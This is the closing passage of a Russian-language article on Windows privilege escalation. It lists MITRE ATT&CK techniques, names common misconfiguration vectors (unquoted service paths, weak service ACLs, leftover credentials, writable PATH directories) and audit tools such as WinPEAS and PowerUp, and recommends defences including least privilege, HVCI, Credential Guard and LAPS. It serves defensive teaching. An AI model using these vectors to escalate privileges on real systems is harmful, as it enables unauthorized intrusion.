- MITRE ATT&CK: T1548 (Abuse Elevation), T1574 (Hijack Execution Flow), T1134 (Access Token Manipulation), T1547 (Boot/Logon Autostart)

Заключение

Повышение привилегий в Windows — это в первую очередь **misconfiguration hunting**. Даже в 2026 году большинство privesc векторов — это не 0-day, а ошибки конфигурации: незакавыченные пути, слабые ACL на сервисах, забытые credentials, writable директории в PATH. Автоматизированный аудит (WinPEAS, PowerUp) находит эти проблемы за секунды.

Для защитников ключевой принцип — **Least Privilege**: минимальные права, минимальные привилегии, аудит всего что может быть использовано для escalation. HVCI, Credential Guard, LAPS — три технологии которые закрывают большинство advanced-векторов.

Дисклеймер: Материал предоставлен исключительно в образовательных целях для специалистов по информационной безопасности. Используйте полученные знания только в рамках авторизованного тестирования на проникновение и защиты

инфраструктуры.